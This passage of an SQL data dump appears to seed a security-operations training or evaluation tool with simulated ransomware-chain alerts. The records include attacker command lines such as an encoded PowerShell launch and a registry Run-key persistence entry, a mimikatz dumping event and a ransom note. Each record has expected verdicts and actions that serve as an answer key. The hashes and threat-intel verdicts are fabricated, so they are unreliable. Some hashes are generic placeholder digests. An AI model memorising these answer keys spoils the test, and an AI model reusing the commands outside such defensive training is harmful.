PDF.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Spear Phishing Email Detected\",\"date\":\"2026-03-15T20:58:15.717Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1607, 'Execution: Malicious Payload Activation', 'critical', 'Endpoint Detection and Response (EDR)', 'The ransomware payload has been executed on the target\'s system, initiating the encryption of files and demanding ransom payment.', 'Malware Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"EDR-20231015-00042\",\"system\":\"INTERNAL_HOST_01\",\"user\":\"jdoe\",\"process\":{\"name\":\"ransomware.exe\",\"hash\":\"3f7c3ab5d4e6f8a9708b3e8f0e7c0a42\",\"pid\":3480},\"source_ip\":\"10.50.60.70\",\"destination_ip\":\"192.168.1.102\",\"attacker_ip\":\"198.51.100.23\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\ransomware.exe\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\ransomware.exe /encrypt\",\"indicators\":[{\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true},{\"type\":\"hash\",\"value\":\"3f7c3ab5d4e6f8a9708b3e8f0e7c0a42\",\"is_critical\":true},{\"type\":\"filename\",\"value\":\"ransomware.exe\",\"is_critical\":true}]}', '2026-03-15 19:18:01', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ransomware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f7c3ab5d4e6f8a9708b3e8f0e7c0a42\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known ransomware variant.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ransomware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Database\",\"verdict\":\"suspicious\",\"details\":\"Unusual filename observed in recent incidents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1608, 'Persistence: Registry Key Modification', 'high', 'Windows Registry Logs', 'The ransomware modifies registry keys to establish persistence, allowing it to reload automatically when the system is restarted. This modification is an indication of a sophisticated persistence mechanism used by the attacker to ensure their malware remains active even after system reboots.', 'Persistence Mechanism', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:45:23Z\",\"event_id\":4657,\"user\":\"SYSTEM\",\"computer_name\":\"DESKTOP-01\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousEntry\",\"operation\":\"Registry Key Modification\",\"old_value\":\"\",\"new_value\":\"rundll32.exe C:\\\\Windows\\\\System32\\\\wscript.exe //E:javascript C:\\\\Windows\\\\Temp\\\\malicious.js\",\"host_ip\":\"10.0.0.5\",\"attacker_ip\":\"45.76.123.89\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"malicious.js\"}', '2026-03-15 19:18:01', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.123.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"This IP has been associated with ransomware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"This hash is linked to a known ransomware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"The file is a JavaScript used in ransomware delivery.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"SYSTEM\\\",\\\"computer_name\\\":\\\"DESKTOP-01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"operation\\\":\\\"Registry Key Modification\\\",\\\"old_value\\\":\\\"\\\",\\\"new_value\\\":\\\"rundll32.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //E:javascript C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.js\\\",\\\"host_ip\\\":\\\"10.0.0.5\\\",\\\"attacker_ip\\\":\\\"45.76.123.89\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious.js\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"SYSTEM\\\",\\\"computer_name\\\":\\\"DESKTOP-01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"operation\\\":\\\"Registry Key Modification\\\",\\\"old_value\\\":\\\"\\\",\\\"new_value\\\":\\\"rundll32.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //E:javascript C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.js\\\",\\\"host_ip\\\":\\\"10.0.0.5\\\",\\\"attacker_ip\\\":\\\"45.76.123.89\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious.js\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"SYSTEM\\\",\\\"computer_name\\\":\\\"DESKTOP-01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"operation\\\":\\\"Registry Key Modification\\\",\\\"old_value\\\":\\\"\\\",\\\"new_value\\\":\\\"rundll32.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //E:javascript C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.js\\\",\\\"host_ip\\\":\\\"10.0.0.5\\\",\\\"attacker_ip\\\":\\\"45.76.123.89\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious.js\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"SYSTEM\\\",\\\"computer_name\\\":\\\"DESKTOP-01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"operation\\\":\\\"Registry Key Modification\\\",\\\"old_value\\\":\\\"\\\",\\\"new_value\\\":\\\"rundll32.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //E:javascript C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.js\\\",\\\"host_ip\\\":\\\"10.0.0.5\\\",\\\"attacker_ip\\\":\\\"45.76.123.89\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious.js\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.722Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:23Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"SYSTEM\\\",\\\"computer_name\\\":\\\"DESKTOP-01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"operation\\\":\\\"Registry Key Modification\\\",\\\"old_value\\\":\\\"\\\",\\\"new_value\\\":\\\"rundll32.exe C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe //E:javascript C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.js\\\",\\\"host_ip\\\":\\\"10.0.0.5\\\",\\\"attacker_ip\\\":\\\"45.76.123.89\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious.js\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1609, 'Lateral Movement: Credential Dumping Detected', 'critical', 'Security Information and Event Management (SIEM)', 'A credential dumping activity was detected originating from a potentially compromised host within the network. The adversary is attempting to obtain credentials to facilitate lateral movement across the critical infrastructure network. Immediate action is required.', 'Credential Access', 'T1003 - Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:25:45Z\",\"event_id\":\"4634\",\"source_ip\":\"45.76.23.94\",\"internal_ip\":\"192.168.1.102\",\"target_username\":\"admin_user\",\"process_name\":\"lsass.exe\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"mimikatz.exe\",\"event_description\":\"Credential dumping attempt detected from process mimikatz.exe targeting lsass.exe.\",\"severity\":\"Critical\"}', '2026-03-15 19:18:01', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.23.94\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with credential dumping activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the potentially compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with the Mimikatz credential dumping tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Executable file commonly used for credential dumping.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Privileged account targeted for dumping credentials.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.723Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:45Z\\\",\\\"event_id\\\":\\\"4634\\\",\\\"source_ip\\\":\\\"45.76.23.94\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"target_username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"event_description\\\":\\\"Credential dumping attempt detected from process mimikatz.exe targeting lsass.exe.\\\",\\\"severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.723Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:45Z\\\",\\\"event_id\\\":\\\"4634\\\",\\\"source_ip\\\":\\\"45.76.23.94\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"target_username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"event_description\\\":\\\"Credential dumping attempt detected from process mimikatz.exe targeting lsass.exe.\\\",\\\"severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.723Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:45Z\\\",\\\"event_id\\\":\\\"4634\\\",\\\"source_ip\\\":\\\"45.76.23.94\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"target_username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"event_description\\\":\\\"Credential dumping attempt detected from process mimikatz.exe targeting lsass.exe.\\\",\\\"severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.723Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:45Z\\\",\\\"event_id\\\":\\\"4634\\\",\\\"source_ip\\\":\\\"45.76.23.94\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"target_username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"event_description\\\":\\\"Credential dumping attempt detected from process mimikatz.exe targeting lsass.exe.\\\",\\\"severity\\\":\\\"Critical\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.723Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:25:45Z\\\",\\\"event_id\\\":\\\"4634\\\",\\\"source_ip\\\":\\\"45.76.23.94\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"target_username\\\":\\\"admin_user\\\",\\\"process_name\\\":\\\"lsass.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"mimikatz.exe\\\",\\\"event_description\\\":\\\"Credential dumping attempt detected from process mimikatz.exe targeting lsass.exe.\\\",\\\"severity\\\":\\\"Critical\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1610, 'Exfiltration: Data Transfer to External Server', 'critical', 'Network Traffic Analysis', 'Sensitive data has been exfiltrated to an attacker-controlled server using encrypted channels. Immediate action is required to prevent exposure of critical information.', 'Data Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:58Z\",\"event_id\":\"EXF123456\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"source_port\":443,\"destination_port\":4443,\"protocol\":\"HTTPS\",\"data_transferred\":\"5GB\",\"encryption\":\"TLSv1.2\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"filename\":\"confidential_report_2023.zip\",\"action\":\"Data Transfer\",\"alert\":\"Data Exfiltration Detected\"}', '2026-03-15 19:18:01', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known data exfiltration malware\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_report_2023.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP System\",\"verdict\":\"internal\",\"details\":\"File contains sensitive business information\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"John Doe, employee with access to sensitive data\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1611, 'NRA Attack: Ransom Note and Extortion', 'critical', 'Incident Response Reports', 'An extortion attempt was detected, where the attacker has left a ransom note demanding payment for data decryption and non-disclosure. This is a critical step in the operation, indicating the potential for data leak if demands are not met.', 'Impact', 'T1486: Data Encrypted for Impact', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:37:05Z\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"ransom_note_filename\":\"READ_ME.txt\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"files_encrypted\":[\"confidential_data.docx\",\"financial_report.xlsx\"],\"ransom_amount\":\"5 BTC\",\"contact_email\":\"ransom@maliciousdomain.com\",\"notes\":\"Your files have been encrypted. Pay 5 BTC to the address provided or your data will be publicly released.\"}', '2026-03-15 19:18:01', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP linked to known ransomware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with ransomware encryption tools.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"ransom@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Email used in extortion attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:37:05Z\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"files_encrypted\\\":[\\\"confidential_data.docx\\\",\\\"financial_report.xlsx\\\"],\\\"ransom_amount\\\":\\\"5 BTC\\\",\\\"contact_email\\\":\\\"ransom@maliciousdomain.com\\\",\\\"notes\\\":\\\"Your files have been encrypted. Pay 5 BTC to the address provided or your data will be publicly released.\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:37:05Z\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"files_encrypted\\\":[\\\"confidential_data.docx\\\",\\\"financial_report.xlsx\\\"],\\\"ransom_amount\\\":\\\"5 BTC\\\",\\\"contact_email\\\":\\\"ransom@maliciousdomain.com\\\",\\\"notes\\\":\\\"Your files have been encrypted. Pay 5 BTC to the address provided or your data will be publicly released.\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:37:05Z\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"files_encrypted\\\":[\\\"confidential_data.docx\\\",\\\"financial_report.xlsx\\\"],\\\"ransom_amount\\\":\\\"5 BTC\\\",\\\"contact_email\\\":\\\"ransom@maliciousdomain.com\\\",\\\"notes\\\":\\\"Your files have been encrypted. Pay 5 BTC to the address provided or your data will be publicly released.\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:37:05Z\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"files_encrypted\\\":[\\\"confidential_data.docx\\\",\\\"financial_report.xlsx\\\"],\\\"ransom_amount\\\":\\\"5 BTC\\\",\\\"contact_email\\\":\\\"ransom@maliciousdomain.com\\\",\\\"notes\\\":\\\"Your files have been encrypted. Pay 5 BTC to the address provided or your data will be publicly released.\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.730Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:37:05Z\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"ransom_note_filename\\\":\\\"READ_ME.txt\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jdoe\\\",\\\"files_encrypted\\\":[\\\"confidential_data.docx\\\",\\\"financial_report.xlsx\\\"],\\\"ransom_amount\\\":\\\"5 BTC\\\",\\\"contact_email\\\":\\\"ransom@maliciousdomain.com\\\",\\\"notes\\\":\\\"Your files have been encrypted. Pay 5 BTC to the address provided or your data will be publicly released.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1612, 'Suspicious Phishing Email Detected', 'medium', 'Email Gateway Logs', 'A phishing email was detected targeting Capcom employees, containing a malicious attachment designed to deploy the Ragnar Locker ransomware.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:22:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.55\",\"email_subject\":\"Urgent: Update Required\",\"sender_email\":\"attacker@example.com\",\"recipient_email\":\"employee@capcom.com\",\"attachment_name\":\"Invoice_Update.docx\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malware_family\":\"Ragnar Locker\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-15 19:18:11', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Ragnar Locker ransomware.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"attacker@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address used in 